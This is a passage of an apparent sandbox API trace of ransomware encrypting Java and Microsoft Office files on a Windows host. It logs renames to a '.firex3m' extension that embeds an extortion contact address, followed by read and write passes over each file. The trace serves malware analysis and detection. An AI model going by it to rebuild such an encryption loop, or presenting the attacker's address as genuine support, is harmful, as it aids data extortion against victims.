ftLastWriteTime.dwLowDateTime=0xf510b61, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x23740, dwReserved0=0xaa87496, dwReserved1=0x71fb578, cFileName="THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THIRDP~1.FIR")) returned 0x6d5340 [0128.538] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0128.538] Sleep (dwMilliseconds=0x1) [0128.589] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", len=0x4f | out: pbstr=0x587ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 1 [0128.589] GetProcessHeap () returned 0x630000 [0128.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0128.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.592] CloseHandle (hObject=0x4e0) returned 1 [0128.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~3.FIR")) returned 0x6d4f00 [0128.662] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0128.662] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.662] GetProcessHeap () returned 0x630000 [0128.663] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64f898 [0128.663] GetProcessHeap () returned 0x630000 [0128.663] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64ead8 [0128.663] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.663] ReadFile (in: hFile=0x4e0, lpBuffer=0x64f898, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x64f898*, lpNumberOfBytesRead=0x587ff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.664] GetProcessHeap () returned 0x630000 [0128.664] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0128.664] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.664] WriteFile (in: hFile=0x4e0, lpBuffer=0x64ead8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x64ead8*, lpNumberOfBytesWritten=0x587ff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.664] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.664] WriteFile (in: hFile=0x4e0, lpBuffer=0x64eb57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x64eb57*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.673] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.673] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.674] CloseHandle (hObject=0x4e0) returned 1 [0128.674] GetProcessHeap () returned 0x630000 [0128.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64ead8 | out: hHeap=0x630000) returned 1 [0128.674] GetProcessHeap () returned 0x630000 [0128.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64f898 | out: hHeap=0x630000) returned 1 [0128.674] GetProcessHeap () returned 0x630000 [0128.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0128.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x12a4126c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x587fd20, dwReserved1=0x64f898, cFileName="win32_LinkNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~3.FIR")) returned 0x6d4f40 [0128.674] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0128.674] Sleep (dwMilliseconds=0x1) [0128.721] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf", len=0x44 | out: pbstr=0x587ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 1 [0128.721] GetProcessHeap () returned 0x630000 [0128.721] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xac) returned 0x66a3e0 [0128.721] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0128.721] CloseHandle (hObject=0x5e4) returned 1 [0128.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU942B~1.FIR")) returned 0x6d4f00 [0128.722] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0128.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0128.723] GetProcessHeap () returned 0x630000 [0128.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x716dc98 [0128.723] GetProcessHeap () returned 0x630000 [0128.723] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72ba008 [0128.723] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.724] ReadFile (in: hFile=0x5e4, lpBuffer=0x716dc98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc98*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.890] GetProcessHeap () returned 0x630000 [0136.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0136.890] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.890] WriteFile (in: hFile=0x5e4, lpBuffer=0x72ba008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.890] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.890] WriteFile (in: hFile=0x5e4, lpBuffer=0x72c5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5407*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.899] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.899] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.899] CloseHandle (hObject=0x5e4) returned 1 [0138.602] GetProcessHeap () returned 0x630000 [0138.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0138.602] GetProcessHeap () returned 0x630000 [0138.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716dc98 | out: hHeap=0x630000) returned 1 [0138.602] GetProcessHeap () returned 0x630000 [0138.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0138.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1890086d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x54370, dwReserved0=0xaa87496, dwReserved1=0x716dc90, cFileName="LucidaBrightRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU942B~1.FIR")) returned 0x6d5580 [0138.603] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0138.603] Sleep (dwMilliseconds=0x1) [0139.980] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms", len=0x51 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 1 [0139.980] GetProcessHeap () returned 0x630000 [0139.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c54) returned 0x7203db8 [0139.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0142.446] CloseHandle (hObject=0x4dc) returned 1 [0142.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4370671, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x56c7, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOBABB~1.FIR")) returned 0x6d5000 [0143.831] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0143.831] GetProcessHeap () returned 0x630000 [0143.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56e1) returned 0x6fd8a48 [0143.831] GetProcessHeap () returned 0x630000 [0143.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x56e1) returned 0x6fde138 [0143.831] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.831] ReadFile (in: hFile=0x4dc, lpBuffer=0x6fd8a48, nNumberOfBytesToRead=0x56c0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd8a48*, lpNumberOfBytesRead=0x587ff0c*=0x56c0, lpOverlapped=0x0) returned 1 [0145.566] GetProcessHeap () returned 0x630000 [0145.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0145.566] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.566] WriteFile (in: hFile=0x4dc, lpBuffer=0x6fde138*, nNumberOfBytesToWrite=0x56c0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fde138*, lpNumberOfBytesWritten=0x587ff0c*=0x56c0, lpOverlapped=0x0) returned 1 [0145.957] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x4dc, lpBuffer=0x6fe37f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe37f7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.958] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.958] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.958] CloseHandle (hObject=0x4dc) returned 1 [0145.959] GetProcessHeap () returned 0x630000 [0145.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fde138 | out: hHeap=0x630000) returned 1 [0145.959] GetProcessHeap () returned 0x630000 [0145.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd8a48 | out: hHeap=0x630000) returned 1 [0145.959] GetProcessHeap () returned 0x630000 [0145.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0145.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe423f37b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe423f37b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x56eb, dwReserved0=0xaa87496, dwReserved1=0x6fd8a40, cFileName="HomeBusinessR_Trial2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOBABB~1.FIR")) returned 0x6d5540 [0145.960] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0145.960] Sleep (dwMilliseconds=0x1) [0146.023] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD", len=0x3f | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD") returned 1 [0146.023] GetProcessHeap () returned 0x630000 [0146.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2744) returned 0x71f7c78 [0146.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.207] CloseHandle (hObject=0x708) returned 1 [0146.207] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGPOS~1.FIR")) returned 0x6d5440 [0146.278] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgpos.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.278] GetProcessHeap () returned 0x630000 [0146.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x461) returned 0x6672f8 [0146.278] GetProcessHeap () returned 0x630000 [0146.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x461) returned 0x6f19db0 [0146.278] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.278] ReadFile (in: hFile=0x708, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x440, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x587ff0c*=0x440, lpOverlapped=0x0) returned 1 [0146.283] GetProcessHeap () returned 0x630000 [0146.283] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.283] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.283] WriteFile (in: hFile=0x708, lpBuffer=0x6f19db0*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f19db0*, lpNumberOfBytesWritten=0x587ff0c*=0x440, lpOverlapped=0x0) returned 1 [0146.284] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.284] WriteFile (in: hFile=0x708, lpBuffer=0x6f1a1ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1a1ef*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.284] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.284] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | 